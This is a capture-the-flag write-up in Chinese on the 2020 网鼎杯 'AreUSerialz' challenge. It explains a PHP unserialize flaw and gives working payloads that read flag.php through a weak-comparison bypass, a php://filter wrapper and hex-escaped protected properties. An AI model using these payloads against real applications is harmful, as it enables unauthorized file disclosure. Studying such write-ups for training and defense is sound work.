[网鼎杯 2020 青龙组]AreUSerialz 1
拿到页面源代码 我们首先发现 存在文件包含 直接翻到最下面
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
发现两点: 一是我们 get传参的内容ascii值必须在 32到125 之间,换句话说序列化后的字符必须都是可视化字符,一个是代码进行了反序列化 我们在传参的时候要进行序列化编码。
根据以上两点我们可以进行绕过
而比较有意思的是 protected的序列化是不可见字符
再进行上面的代码审计:
因为我们只是对 flag.php进行一个读取,所以说我们不需要了解 write 函数
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
__destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op==“2”,可以利用弱类型绕过。
让op为整型 op=2 即可绕过
public绕过
PHP7.1以上版本对属性类型不敏感,而public属性序列化不会出现不可见字符,可以用public属性来绕过
<?php
class FileHandler {
public $op = "2";
public $filename = "flag.php";
public $content;
}
?>
构造payload
?str=O:11:"FileHandler":3:{s:2:"op";s:2:"%202";s:8:"filename";s:8:"flag.php";s:7:"content";}
访问源代码即可获得 flag
php伪协议过(也利用了上一种方法的public绕过)
至此我们就可以
protect $op = 2;
protect $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
protect $content;
对其进行序列化:
s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";
构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";}
protect绕过(参考博客)
再在本关我们也是可以使用protect 。
private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
所以构造payload:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
同样可以获得 flag